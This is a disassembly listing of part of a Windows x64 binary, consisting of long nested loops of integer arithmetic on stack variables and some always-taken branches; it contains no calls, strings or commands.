cmp dword [rsp + 0x184], 0xa
jne 0x1401065eb
mov eax, dword [rsp + 0x184]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x184], eax
jmp 0x1401065b3
mov eax, dword [rsp + 0x674]
imul eax, dword [rsp + 0x1448]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1b64], eax
cmp dword [rsp + 0x674], 0xb
jl 0x14010658e
jmp 0x14010655f
cmp dword [rsp + 0x1448], 0x14
jle 0x14010669f
mov eax, dword [rsp + 0x1448]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x144c], eax
mov dword [rsp + 0x188], Ordinal_79
cmp dword [rsp + 0x188], 0
jle 0x140106684
mov eax, dword [rsp + 0x188]
sub eax, 5
mov dword [rsp + 0x188], eax
cmp dword [rsp + 0x188], 0xa
jne 0x140106682
mov eax, dword [rsp + 0x188]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x188], eax
jmp 0x14010664a
mov eax, dword [rsp + 0x144c]
sub eax, 2
mov dword [rsp + 0x144c], eax
cmp dword [rsp + 0x144c], 0
jg 0x14010663f
jmp 0x140106529
jmp 0x140105f8d
xor eax, eax
test eax, eax
je 0x140107805
xor eax, eax
test eax, eax
je 0x140106f61
mov dword [rsp + 0x1450], 0
jmp 0x1401066da
mov eax, dword [rsp + 0x1450]
inc eax
mov dword [rsp + 0x1450], eax
cmp dword [rsp + 0x1450], 5
jge 0x140106f5c
mov dword [rsp + 0x146c], 0x3f
mov dword [rsp + 0xca8], 0
jmp 0x140106710
mov eax, dword [rsp + 0xca8]
inc eax
mov dword [rsp + 0xca8], eax
cmp dword [rsp + 0xca8], 9
jge 0x140106b48
mov eax, dword [rsp + 0xca8]
add eax, 7
mov dword [rsp + 0x690], eax
mov eax, dword [rsp + 0x690]
add eax, 4
mov dword [rsp + 0x690], eax
cmp dword [rsp + 0x690], 0x15
jne 0x140106b35
mov dword [rsp + 0x1454], 0
jmp 0x14010676b
mov eax, dword [rsp + 0x1454]
inc eax
mov dword [rsp + 0x1454], eax
cmp dword [rsp + 0x1454], 5
jge 0x140106934
mov dword [rsp + 0x1458], 0x11
mov dword [rsp + 0xcac], 0
jmp 0x1401067a1
mov eax, dword [rsp + 0xcac]
inc eax
mov dword [rsp + 0xcac], eax
cmp dword [rsp + 0xcac], 3
jge 0x14010687c
mov eax, dword [rsp + 0xcac]
inc eax
mov dword [rsp + 0x67c], eax
mov eax, dword [rsp + 0x67c]
inc eax
mov dword [rsp + 0x67c], eax
cmp dword [rsp + 0x67c], 4
jne 0x140106869
mov dword [rsp + 0x678], 0xd
mov dword [rsp + 0xcb0], 0
jmp 0x140106805
mov eax, dword [rsp + 0xcb0]
inc eax
mov dword [rsp + 0xcb0], eax
cmp dword [rsp + 0xcb0], 4
jge 0x14010684e
mov eax, dword [rsp + 0xcb0]
mov ecx, dword [rsp + 0x678]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x678], eax
mov eax, dword [rsp + 0x678]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010684c
imul eax, dword [rsp + 0x678], 3
mov dword [rsp + 0x678], eax
jmp 0x1401067f5
mov eax, dword [rsp + 0x67c]
imul eax, dword [rsp + 0x1458]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b68], eax
cmp dword [rsp + 0x67c], 6
jl 0x1401067bf
jmp 0x140106791
cmp dword [rsp + 0x1458], 0xa
jle 0x14010692f
mov eax, dword [rsp + 0x1458]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x145c], eax
mov dword [rsp + 0x680], 0xd
mov dword [rsp + 0xcb4], 0
jmp 0x1401068c8
mov eax, dword [rsp + 0xcb4]
inc eax
mov dword [rsp + 0xcb4], eax
cmp dword [rsp + 0xcb4], 4
jge 0x140106911
mov eax, dword [rsp + 0xcb4]
mov ecx, dword [rsp + 0x680]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x680], eax
mov eax, dword [rsp + 0x680]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14010690f
imul eax, dword [rsp + 0x680], 3
mov dword [rsp + 0x680], eax
jmp 0x1401068b8
mov eax, dword [rsp + 0x145c]
dec eax
mov dword [rsp + 0x145c], eax
cmp dword [rsp + 0x145c], 0
jg 0x1401068a0
jmp 0x14010675b
mov eax, dword [rsp + 0x690]
imul eax, dword [rsp + 0x146c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b6c], eax
mov dword [rsp + 0x1460], 0
jmp 0x14010696c
mov eax, dword [rsp + 0x1460]
inc eax
mov dword [rsp + 0x1460], eax
cmp dword [rsp + 0x1460], 5
jge 0x140106b35
mov dword [rsp + 0x1464], 0x11
mov dword [rsp + 0xcb8], 0
jmp 0x1401069a2
mov eax, dword [rsp + 0xcb8]
inc eax
mov dword [rsp + 0xcb8], eax
cmp dword [rsp + 0xcb8], 3
jge 0x140106a7d
mov eax, dword [rsp + 0xcb8]
inc eax
mov dword [rsp + 0x688], eax
mov eax, dword [rsp + 0x688]
inc eax
mov dword [rsp + 0x688], eax
cmp dword [rsp + 0x688], 4
jne 0x140106a6a
mov dword [rsp + 0x684], 0xd
mov dword [rsp + 0xcbc], 0
jmp 0x140106a06
mov eax, dword [rsp + 0xcbc]
inc eax
mov dword [rsp + 0xcbc], eax
cmp dword [rsp + 0xcbc], 4
jge 0x140106a4f
mov eax, dword [rsp + 0xcbc]
mov ecx, dword [rsp + 0x684]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x684], eax
mov eax, dword [rsp + 0x684]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140106a4d
imul eax, dword [rsp + 0x684], 3
mov dword [rsp + 0x684], eax
jmp 0x1401069f6
mov eax, dword [rsp + 0x688]
imul eax, dword [rsp + 0x1464]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b70], eax
cmp dword [rsp + 0x688], 6
jl 0x1401069c0
jmp 0x140106992
cmp dword [rsp + 0x1464], 0xa
jle 0x140106b30
mov eax, dword [rsp + 0x1464]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1468], eax
mov dword [rsp + 0x68c], 0xd
mov dword [rsp + 0xcc0], 0
jmp 0x140106ac9
mov eax, dword [rsp + 0xcc0]
inc eax
mov dword [rsp + 0xcc0], eax
cmp dword [rsp + 0xcc0], 4
jge 0x140106b12
mov eax, dword [rsp + 0xcc0]
mov ecx, dword [rsp + 0x68c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68c], eax
mov eax, dword [rsp + 0x68c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140106b10
imul eax, dword [rsp + 0x68c], 3
mov dword [rsp + 0x68c], eax
jmp 0x140106ab9
mov eax, dword [rsp + 0x1468]
dec eax
mov dword [rsp + 0x1468], eax
cmp dword [rsp + 0x1468], 0
jg 0x140106aa1
jmp 0x14010695c
cmp dword [rsp + 0x690], 0x23
jl 0x14010672f
jmp 0x140106700
cmp dword [rsp + 0x146c], 0x28
jle 0x140106d71
mov eax, dword [rsp + 0x146c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x147c], eax
mov dword [rsp + 0x1470], 0
jmp 0x140106b89
mov eax, dword [rsp + 0x1470]
inc eax
mov dword [rsp + 0x1470], eax
cmp dword [rsp + 0x1470], 5
jge 0x140106d52
mov dword [rsp + 0x1474], 0x11
mov dword [rsp + 0xcc4], 0
jmp 0x140106bbf
mov eax, dword [rsp + 0xcc4]
inc eax
mov dword [rsp + 0xcc4], eax
cmp dword [rsp + 0xcc4], 3
jge 0x140106c9a
mov eax, dword [rsp + 0xcc4]
inc eax
mov dword [rsp + 0x698], eax
mov eax, dword [rsp + 0x698]
inc eax
mov dword [rsp + 0x698], eax
cmp dword [rsp + 0x698], 4
jne 0x140106c87
mov dword [rsp + 0x694], 0xd
mov dword [rsp + 0xcc8], 0
jmp 0x140106c23
mov eax, dword [rsp + 0xcc8]
inc eax
mov dword [rsp + 0xcc8], eax
cmp dword [rsp + 0xcc8], 4
jge 0x140106c6c
mov eax, dword [rsp + 0xcc8]
mov ecx, dword [rsp + 0x694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x694], eax
mov eax, dword [rsp + 0x694]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140106c6a
imul eax, dword [rsp + 0x694], 3
mov dword [rsp + 0x694], eax
jmp 0x140106c13
mov eax, dword [rsp + 0x698]
imul eax, dword [rsp + 0x1474]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b74], eax
cmp dword [rsp + 0x698], 6
jl 0x140106bdd
jmp 0x140106baf
cmp dword [rsp + 0x1474], 0xa
jle 0x140106d4d
mov eax, dword [rsp + 0x1474]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1478], eax
mov dword [rsp + 0x69c], 0xd
mov dword [rsp + 0xccc], 0
jmp 0x140106ce6
mov eax, dword [rsp + 0xccc]
inc eax
mov dword [rsp + 0xccc], eax
cmp dword [rsp + 0xccc], 4
jge 0x140106d2f
mov eax, dword [rsp + 0xccc]
mov ecx, dword [rsp + 0x69c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c], eax
mov eax, dword [rsp + 0x69c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140106d2d
imul eax, dword [rsp + 0x69c], 3
mov dword [rsp + 0x69c], eax
jmp 0x140106cd6
mov eax, dword [rsp + 0x1478]
dec eax
mov dword [rsp + 0x1478], eax
cmp dword [rsp + 0x1478], 0
jg 0x140106cbe
jmp 0x140106b79
mov eax, dword [rsp + 0x147c]
sub eax, 2
mov dword [rsp + 0x147c], eax
cmp dword [rsp + 0x147c], 0
jg 0x140106b6c
mov dword [rsp + 0x1480], 0
jmp 0x140106d8e
mov eax, dword [rsp + 0x1480]
inc eax
mov dword [rsp + 0x1480], eax
cmp dword [rsp + 0x1480], 5
jge 0x140106f57
mov dword [rsp + 0x1484], 0x11
mov dword [rsp + 0xcd0], 0
jmp 0x140106dc4
mov eax, dword [rsp + 0xcd0]
inc eax
mov dword [rsp + 0xcd0], eax
cmp dword [rsp + 0xcd0], 3
jge 0x140106e9f
mov eax, dword [rsp + 0xcd0]
inc eax
mov dword [rsp + 0x6a4], eax
mov eax, dword [rsp + 0x6a4]
inc eax
mov dword [rsp + 0x6a4], eax
cmp dword [rsp + 0x6a4], 4
jne 0x140106e8c
mov dword [rsp + 0x6a0], 0xd
mov dword [rsp + 0xcd4], 0
jmp 0x140106e28
mov eax, dword [rsp + 0xcd4]
inc eax
mov dword [rsp + 0xcd4], eax
cmp dword [rsp + 0xcd4], 4
jge 0x140106e71
mov eax, dword [rsp + 0xcd4]
mov ecx, dword [rsp + 0x6a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a0], eax
mov eax, dword [rsp + 0x6a0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140106e6f
imul eax, dword [rsp + 0x6a0], 3
mov dword [rsp + 0x6a0], eax
jmp 0x140106e18
mov eax, dword [rsp + 0x6a4]
imul eax, dword [rsp + 0x1484]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b78], eax
cmp dword [rsp + 0x6a4], 6
jl 0x140106de2
jmp 0x140106db4
cmp dword [rsp + 0x1484], 0xa
jle 0x140106f52
mov eax, dword [rsp + 0x1484]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1488], eax
mov dword [rsp + 0x6a8], 0xd
mov dword [rsp + 0xcd8], 0
jmp 0x140106eeb
mov eax, dword [rsp + 0xcd8]
inc eax
mov dword [rsp + 0xcd8], eax
cmp dword [rsp + 0xcd8], 4
jge 0x140106f34
mov eax, dword [rsp + 0xcd8]
mov ecx, dword [rsp + 0x6a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a8], eax
mov eax, dword [rsp + 0x6a8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140106f32
imul eax, dword [rsp + 0x6a8], 3
mov dword [rsp + 0x6a8], eax
jmp 0x140106edb
mov eax, dword [rsp + 0x1488]
dec eax
mov dword [rsp + 0x1488], eax
cmp dword [rsp + 0x1488], 0
jg 0x140106ec3
jmp 0x140106d7e
jmp 0x1401066ca
jmp 0x140107805
mov dword [rsp + 0x148c], 0
jmp 0x140106f7e
mov eax, dword [rsp + 0x148c]
inc eax
mov dword [rsp + 0x148c], eax
cmp dword [rsp + 0x148c], 5
jge 0x140107805
mov dword [rsp + 0x14a8], 0x5c
mov dword [rsp + 0xcdc], 0
jmp 0x140106fb4
mov eax, dword [rsp + 0xcdc]
inc eax
mov dword [rsp + 0xcdc], eax
cmp dword [rsp + 0xcdc], 6
jge 0x1401073f0
mov eax, dword [rsp + 0xcdc]
add eax, 9
mov dword [rsp + 0x6c4], eax
mov eax, dword [rsp + 0x6c4]
add eax, 3
mov dword [rsp + 0x6c4], eax
cmp dword [rsp + 0x6c4], 0x18
jne 0x1401073dd
mov dword [rsp + 0x1490], 0
jmp 0x14010700f
mov eax, dword [rsp + 0x1490]
inc eax
mov dword [rsp + 0x1490], eax
cmp dword [rsp + 0x1490], 5
jge 0x1401071d8
mov dword [rsp + 0x1494], 0x11
mov dword [rsp + 0xce0], 0
jmp 0x140107045
mov eax, dword [rsp + 0xce0]
inc eax
mov dword [rsp + 0xce0], eax
cmp dword [rsp + 0xce0], 3
jge 0x140107120
mov eax, dword [rsp + 0xce0]
inc eax
mov dword [rsp + 0x6b0], eax
mov eax, dword [rsp + 0x6b0]
inc eax
mov dword [rsp + 0x6b0], eax
cmp dword [rsp + 0x6b0], 4
jne 0x14010710d
mov dword [rsp + 0x6ac], 0xd
mov dword [rsp + 0xce4], 0
jmp 0x1401070a9
mov eax, dword [rsp + 0xce4]
inc eax
mov dword [rsp + 0xce4], eax
cmp dword [rsp + 0xce4], 4
jge 0x1401070f2
mov eax, dword [rsp + 0xce4]
mov ecx, dword [rsp + 0x6ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ac], eax
mov eax, dword [rsp + 0x6ac]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401070f0
imul eax, dword [rsp + 0x6ac], 3
mov dword [rsp + 0x6ac], eax
jmp 0x140107099
mov eax, dword [rsp + 0x6b0]
imul eax, dword [rsp + 0x1494]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b7c], eax
cmp dword [rsp + 0x6b0], 6
jl 0x140107063
jmp 0x140107035
cmp dword [rsp + 0x1494], 0xa
jle 0x1401071d3
mov eax, dword [rsp + 0x1494]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1498], eax
mov dword [rsp + 0x6b4], 0xd
mov dword [rsp + 0xce8], 0
jmp 0x14010716c
mov eax, dword [rsp + 0xce8]
inc eax
mov dword [rsp + 0xce8], eax
cmp dword [rsp + 0xce8], 4
jge 0x1401071b5
mov eax, dword [rsp + 0xce8]
mov ecx, dword [rsp + 0x6b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b4], eax
mov eax, dword [rsp + 0x6b4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401071b3
imul eax, dword [rsp + 0x6b4], 3
mov dword [rsp + 0x6b4], eax
jmp 0x14010715c
mov eax, dword [rsp + 0x1498]
dec eax
mov dword [rsp + 0x1498], eax
cmp dword [rsp + 0x1498], 0
jg 0x140107144
jmp 0x140106fff
mov eax, dword [rsp + 0x6c4]
imul eax, dword [rsp + 0x14a8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1b80], eax
mov dword [rsp + 0x149c], 0
jmp 0x140107214
mov eax, dword [rsp + 0x149c]
inc eax
mov dword [rsp + 0x149c], eax
cmp dword [rsp + 0x149c], 5
jge 0x1401073dd
mov dword [rsp + 0x14a0], 0x11
mov dword [rsp + 0xcec], 0
jmp 0x14010724a
mov eax, dword [rsp + 0xcec]
inc eax
mov dword [rsp + 0xcec], eax
cmp dword [rsp + 0xcec], 3
jge 0x140107325
mov eax, dword [rsp + 0xcec]
inc eax
mov dword [rsp + 0x6bc], eax
mov eax, dword [rsp + 0x6bc]
inc eax
mov dword [rsp + 0x6bc], eax
cmp dword [rsp + 0x6bc], 4
jne 0x140107312
mov dword [rsp + 0x6b8], 0xd
mov dword [rsp + 0xcf0], 0
jmp 0x1401072ae
mov eax, dword [rsp + 0xcf0]
inc eax
mov dword [rsp + 0xcf0], eax
cmp dword [rsp + 0xcf0], 4
jge 0x1401072f7
mov eax, dword [rsp + 0xcf0]
mov ecx, dword [rsp + 0x6b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b8], eax
mov eax, dword [rsp + 0x6b8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401072f5
imul eax, dword [rsp + 0x6b8], 3
mov dword [rsp + 0x6b8], eax
jmp 0x14010729e
mov eax, dword [rsp + 0x6bc]
imul eax, dword [rsp + 0x14a0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b84], eax
cmp dword [rsp + 0x6bc], 6
jl 0x140107268
jmp 0x14010723a
cmp dword [rsp + 0x14a0], 0xa
jle 0x1401073d8
mov eax, dword [rsp + 0x14a0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x14a4], eax
mov dword [rsp + 0x6c0], 0xd
mov dword [rsp + 0xcf4], 0
jmp 0x140107371
mov eax, dword [rsp + 0xcf4]
inc eax
mov dword [rsp + 0xcf4], eax
cmp dword [rsp + 0xcf4], 4
jge 0x1401073ba
mov eax, dword [rsp + 0xcf4]
mov ecx, dword [rsp + 0x6c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c0], eax
mov eax, dword [rsp + 0x6c0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401073b8
imul eax, dword [rsp + 0x6c0], 3
mov dword [rsp + 0x6c0], eax
jmp 0x140107361
mov eax, dword [rsp + 0x14a4]
dec eax
mov dword [rsp + 0x14a4], eax
cmp dword [rsp + 0x14a4], 0
jg 0x140107349
jmp 0x140107204
cmp dword [rsp + 0x6c4], 0x21
jl 0x140106fd3
jmp 0x140106fa4
cmp dword [rsp + 0x14a8], 0x32
jle 0x14010761a
mov eax, dword [rsp + 0x14a8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x14b8], eax
mov dword [rsp + 0x14ac], 0
jmp 0x140107432
mov eax, dword [rsp + 0x14ac]
inc eax
mov dword [rsp + 0x14ac], eax
cmp dword [rsp + 0x14ac], 5
jge 0x1401075fb
mov dword [rsp + 0x14b0], 0x11
mov dword [rsp + 0xcf8], 0
jmp 0x140107468
mov eax, dword [rsp + 0xcf8]
inc eax
mov dword [rsp + 0xcf8], eax
cmp dword [rsp + 0xcf8], 3
jge 0x140107543
mov eax, dword [rsp + 0xcf8]
inc eax
mov dword [rsp + 0x6cc], eax
mov eax, dword [rsp + 0x6cc]
inc eax
mov dword [rsp + 0x6cc], eax
cmp dword [rsp + 0x6cc], 4
jne 0x140107530
mov dword [rsp + 0x6c8], 0xd
mov dword [rsp + 0xcfc], 0
jmp 0x1401074cc
mov eax, dword [rsp + 0xcfc]
inc eax
mov dword [rsp + 0xcfc], eax
cmp dword [rsp + 0xcfc], 4
jge 0x140107515
mov eax, dword [rsp + 0xcfc]
mov ecx, dword [rsp + 0x6c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c8], eax
mov eax, dword [rsp + 0x6c8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140107513
imul eax, dword [rsp + 0x6c8], 3
mov dword [rsp + 0x6c8], eax
jmp 0x1401074bc
mov eax, dword [rsp + 0x6cc]
imul eax, dword [rsp + 0x14b0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b88], eax
cmp dword [rsp + 0x6cc], 6
jl 0x140107486
jmp 0x140107458
cmp dword [rsp + 0x14b0], 0xa
jle 0x1401075f6
mov eax, dword [rsp + 0x14b0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x14b4], eax
mov dword [rsp + 0x6d0], 0xd
mov dword [rsp + 0xd00], 0
jmp 0x14010758f
mov eax, dword [rsp + 0xd00]
inc eax
mov dword [rsp + 0xd00], eax
cmp dword [rsp + 0xd00], 4
jge 0x1401075d8
mov eax, dword [rsp + 0xd00]
mov ecx, dword [rsp + 0x6d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d0], eax
mov eax, dword [rsp + 0x6d0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401075d6
imul eax, dword [rsp + 0x6d0], 3
mov dword [rsp + 0x6d0], eax
jmp 0x14010757f
mov eax, dword [rsp + 0x14b4]
dec eax
mov dword [rsp + 0x14b4], eax
cmp dword [rsp + 0x14b4], 0
jg 0x140107567
jmp 0x140107422
mov eax, dword [rsp + 0x14b8]
sub eax, 5
mov dword [rsp + 0x14b8], eax
cmp dword [rsp + 0x14b8], 0
jg 0x140107415
mov dword [rsp + 0x14bc], 0
jmp 0x140107637
mov eax, dword [rsp + 0x14bc]
inc eax
mov dword [rsp + 0x14bc], eax
cmp dword [rsp + 0x14bc], 5
jge 0x140107800
mov dword [rsp + 0x14c0], 0x11
mov dword [rsp + 0xd04], 0
jmp 0x14010766d
mov eax, dword [rsp + 0xd04]
inc eax
mov dword [rsp + 0xd04], eax
cmp dword [rsp + 0xd04], 3
jge 0x140107748
mov eax, dword [rsp + 0xd04]
inc eax
mov dword [rsp + 0x6d8], eax
mov eax, dword [rsp + 0x6d8]
inc eax
mov dword [rsp + 0x6d8], eax
cmp dword [rsp + 0x6d8], 4
jne 0x140107735
mov dword [rsp + 0x6d4], 0xd
mov dword [rsp + 0xd08], 0
jmp 0x1401076d1
mov eax, dword [rsp + 0xd08]
inc eax
mov dword [rsp + 0xd08], eax
cmp dword [rsp + 0xd08], 4
jge 0x14010771a
mov eax, dword [rsp + 0xd08]
mov ecx, dword [rsp + 0x6d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d4], eax
mov eax, dword [rsp + 0x6d4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140107718
imul eax, dword [rsp + 0x6d4], 3
mov dword [rsp + 0x6d4], eax
jmp 0x1401076c1
mov eax, dword [rsp + 0x6d8]
imul eax, dword [rsp + 0x14c0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b8c], eax
cmp dword [rsp + 0x6d8], 6
jl 0x14010768b
jmp 0x14010765d
cmp dword [rsp + 0x14c0], 0xa
jle 0x1401077fb
mov eax, dword [rsp + 0x14c0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x14c4], eax
mov dword [rsp + 0x6dc], 0xd
mov dword [rsp + 0xd0c], 0
jmp 0x140107794
mov eax, dword [rsp + 0xd0c]
inc eax
mov dword [rsp + 0xd0c], eax
cmp dword [rsp + 0xd0c], 4
jge 0x1401077dd
mov eax, dword [rsp + 0xd0c]
mov ecx, dword [rsp + 0x6dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6dc], eax
mov eax, dword [rsp + 0x6dc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401077db
imul eax, dword [rsp + 0x6dc], 3
mov dword [rsp + 0x6dc], eax
jmp 0x140107784
mov eax, dword [rsp + 0x14c4]
dec eax
mov dword [rsp + 0x14c4], eax
cmp dword [rsp + 0x14c4], 0
jg 0x14010776c
jmp 0x140107627
jmp 0x140106f6e
xor eax, eax
cmp eax, 1
je 0x1401085c9
xor eax, eax
test eax, eax
je 0x140107ef3
mov dword [rsp + 0x14c8], 0
jmp 0x140107837
mov eax, dword [rsp + 0x14c8]
inc eax
mov dword [rsp + 0x14c8], eax
cmp dword [rsp + 0x14c8], 5
jge 0x140107eee
mov dword [rsp + 0x14e4], 0x33
mov dword [rsp + 0xd10], 0
jmp 0x14010786d
mov eax, dword [rsp + 0xd10]
inc eax
mov dword [rsp + 0xd10], eax
cmp dword [rsp + 0xd10], 6
jge 0x140107bbf
mov eax, dword [rsp + 0xd10]
add eax, 2
mov dword [rsp + 0x6f8], eax
mov eax, dword [rsp + 0x6f8]
add eax, 3
mov dword [rsp + 0x6f8], eax
cmp dword [rsp + 0x6f8], 0xb
jne 0x140107bac
mov dword [rsp + 0x14cc], 0
jmp 0x1401078c8
mov eax, dword [rsp + 0x14cc]
inc eax
mov dword [rsp + 0x14cc], eax
cmp dword [rsp + 0x14cc], 5
jge 0x140107a1e
mov dword [rsp + 0x14d0], 7
mov dword [rsp + 0xd14], 0
jmp 0x1401078fe
mov eax, dword [rsp + 0xd14]
inc eax
mov dword [rsp + 0xd14], eax
cmp dword [rsp + 0xd14], 2
jge 0x1401079a1
mov eax, dword [rsp + 0xd14]
inc eax
mov dword [rsp + 0x6e4], eax
mov eax, dword [rsp + 0x6e4]
inc eax
mov dword [rsp + 0x6e4], eax
cmp dword [rsp + 0x6e4], 2
jne 0x140107992
mov dword [rsp + 0x6e0], 0x15
mov eax, dword [rsp + 0x6e0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107966
mov eax, dword [rsp + 0x6e0]
shl eax, 1
mov dword [rsp + 0x6e0], eax
jmp 0x140107977
mov eax, dword [rsp + 0x6e0]
add eax, 3
mov dword [rsp + 0x6e0], eax
mov eax, dword [rsp + 0x6e4]
imul eax, dword [rsp + 0x14d0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b90], eax
cmp dword [rsp + 0x6e4], 3
jl 0x14010791c
jmp 0x1401078ee
cmp dword [rsp + 0x14d0], 5
jle 0x140107a19
mov eax, dword [rsp + 0x14d0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x14d4], eax
mov dword [rsp + 0x6e8], 0x15
mov eax, dword [rsp + 0x6e8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401079ee
mov eax, dword [rsp + 0x6e8]
shl eax, 1
mov dword [rsp + 0x6e8], eax
jmp 0x1401079ff
mov eax, dword [rsp + 0x6e8]
add eax, 3
mov dword [rsp + 0x6e8], eax
mov eax, dword [rsp + 0x14d4]
dec eax
mov dword [rsp + 0x14d4], eax
cmp dword [rsp + 0x14d4], 0
jg 0x1401079be
jmp 0x1401078b8
mov eax, dword [rsp + 0x6f8]
imul eax, dword [rsp + 0x14e4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b94], eax
mov dword [rsp + 0x14d8], 0
jmp 0x140107a56
mov eax, dword [rsp + 0x14d8]
inc eax
mov dword [rsp + 0x14d8], eax
cmp dword [rsp + 0x14d8], 5
jge 0x140107bac
mov dword [rsp + 0x14dc], 7
mov dword [rsp + 0xd18], 0
jmp 0x140107a8c
mov eax, dword [rsp + 0xd18]
inc eax
mov dword [rsp + 0xd18], eax
cmp dword [rsp + 0xd18], 2
jge 0x140107b2f
mov eax, dword [rsp + 0xd18]
inc eax
mov dword [rsp + 0x6f0], eax
mov eax, dword [rsp + 0x6f0]
inc eax
mov dword [rsp + 0x6f0], eax
cmp dword [rsp + 0x6f0], 2
jne 0x140107b20
mov dword [rsp + 0x6ec], 0x15
mov eax, dword [rsp + 0x6ec]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107af4
mov eax, dword [rsp + 0x6ec]
shl eax, 1
mov dword [rsp + 0x6ec], eax
jmp 0x140107b05
mov eax, dword [rsp + 0x6ec]
add eax, 3
mov dword [rsp + 0x6ec], eax
mov eax, dword [rsp + 0x6f0]
imul eax, dword [rsp + 0x14dc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1b98], eax
cmp dword [rsp + 0x6f0], 3
jl 0x140107aaa
jmp 0x140107a7c
cmp dword [rsp + 0x14dc], 5
jle 0x140107ba7
mov eax, dword [rsp + 0x14dc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x14e0], eax
mov dword [rsp + 0x6f4], 0x15
mov eax, dword [rsp + 0x6f4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140107b7c
mov eax, dword [rsp + 0x6f4]
shl eax, 1
mov dword [rsp + 0x6f4], eax
jmp 0x140107b8d
mov eax, dword [rsp + 0x6f4]
add eax, 3
mov dword [rsp + 0x6f4], eax
mov eax, dword [rsp + 0x14e0]
dec eax
mov dword [rsp + 0x14e0], eax
cmp dword [rsp + 0x14e0], 0
jg 0x140107b4c
jmp 0x140107a46
cmp dword [rsp + 0x6f8], 0xf
jl 0x14010788c
jmp 0x14010785d
cmp dword [rsp + 0x14e4], 0x19
jle 0x140107d76
mov eax, dword [rsp + 0x14e4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x14f4], eax
mov dword [rsp + 0x14e8], 0
jmp 0x140107c01
mov eax, dword [rsp + 0x14e8]
inc eax
mov dword [rsp + 0x14e8], eax
cmp dword [rsp + 0x14e8], 5
jge 0x140107d57
mov dword [rsp + 0x14ec], 7
mov dword [rsp + 0xd1c], 0
jmp 0x140107c37
mov eax, dword [rsp + 0xd1c]
inc eax
mov dword [rsp + 0xd1c], eax
cmp dword [rsp + 0xd1c], 2
jge 0x140107cda
mov eax, dword [rsp + 0xd1c]
inc eax
mov dword [rsp + 0x700], eax
mov eax, dword [rsp + 0x700]
inc eax
mov dword [rsp + 0x700], eax
cmp dword [rsp + 0x700], 2
